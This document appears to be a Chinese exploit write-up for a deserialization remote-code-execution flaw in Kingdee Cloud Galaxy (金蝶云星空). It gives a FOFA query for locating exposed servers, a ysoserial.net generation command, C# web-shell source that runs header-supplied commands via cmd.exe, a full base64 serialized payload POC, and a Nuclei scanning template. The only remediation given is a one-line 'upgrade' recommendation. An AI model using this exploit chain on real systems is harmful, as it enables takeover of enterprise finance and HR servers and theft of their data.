金蝶云星空AppDesigner.AppDesignerService.RecordCurDevCodeInfo RCE漏洞

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Ⅰ、漏洞描述

金蝶云星空是金蝶软件推出的一款企业级云服务平台，旨在为企业提供全方位的云端解决方案。该平台包含多个模块，涵盖了财务、人力资源、供应链、销售等业务领域，以满足企业在不同方面的需求。

由于金蝶云星空数据通信默认采用的是二进制数据格式，需要进行序列化与反序列化，在此过程中未对数据进行签名或校验，导致客户端发出的数据可被攻击者恶意篡改，写入包含恶意代码的序列化数据，达到在服务端远程命令执行的效果。该漏洞不仅存在于金蝶云星空管理中心（默认8000端口），普通应用（默认80端口）也存在类似问题。

影响范围：

6.x版本：低于6.2.1012.4

7.x版本：7.0.352.16 至 7.7.0.202111

8.x版本：8.0.0.202205 至 8.1.0.20221110

Ⅱ、fofa语句

app="金蝶云星空-管理中心"

Ⅲ、漏洞复现

1、漏洞分析

此漏洞属于.net反序列化场景中的 BinaryFormatter反序列化，BinaryFormatter位于命名空间 System.Runtime.Serialization.Formatters.Binary它是直接用二进制方式把对象进行序列化，优点是速度较快，在不同版本的.NET平台里都可以兼容。但是使用反序列化不受信任的二进制文件会导致反序列化漏洞从而实现远程RCE攻击。

2、工具使用

ysoserial.net工具构造恶意序列化数据实现RCE

地址：

https://github.com/pwntester/ysoserial.net

 

3、漏洞验证

POST /Kingdee.BOS.ServiceFacade.ServicesStub.AppDesigner.AppDesignerService.RecordCurDevCodeInfo.common.kdsvc HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 
Connection: close
Content-Length: 15907
Content-Type: text/json
Accept-Encoding: gzip

{"ap0":"123456","format":"3"}

由于请求体ap0构造的任意参数在发送请求时会引起序列化异常，如出现此种情况，则证明漏洞存在

4、使用工具ysoserial.exe生成payload

.\ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "ceshi.cs;System.Windows.Forms.dll;System.Web.dll;System.dll"

命令中 -f 指定的是.net程序中的序列化类，-g 是ysoserial.net工具中的攻击链， 这里指定的是ActivitySurrogateSelectorFromFile链，这个攻击链可加载自定义的程序集。-c 是构造的程序集（ceshi.cs），后面的dll文件是.NET Framework中的一个核心DLL文件，包含了一些相关的类和方法(自行加载，不需要构造)

5、编写从请求头中获取执行命令的ASP.NET程序（ceshi.cs中的内容）

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

 注释：从请求头中获取cmd参数，然后将其传递给cmd.exe，输出的结果最终作为相应返回给客户端

6、生成序列化数据，将ceshi.cs与工具ysoserial.exe放在同一目录下

POC

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: 127.0.0.1
tent-Type: text/json
cmd: dir
 
{"ap0":"AAEAAAD/AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rp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7、构建POC

Ⅳ、Nuclei-POC

id: JD-AppDesigner-AppDesignerService-RecordCurDevCodeInfo-RCE

info:
  name: System.Runtime.Serialization.Formatters.Binary它是直接用二进制方式把对象进行序列化 优点是速度较快 在不同版本的.NET平台里都可以兼容 但是使用反序列化不受信任的二进制文件会导致反序列化漏洞从而实现远程RCE攻击 
  author: WLF
  severity: high
  metadata: 
    fofa-query: app="金蝶云星空-管理中心"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /Kingdee.BOS.ServiceFacade.ServicesStub.AppDesigner.AppDesignerService.RecordCurDevCodeInfo.common.kdsvc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/json
        cmd: echo "Hello World!"
        
        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    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"Hello World!")

Ⅴ、修复建议

升级至安全版本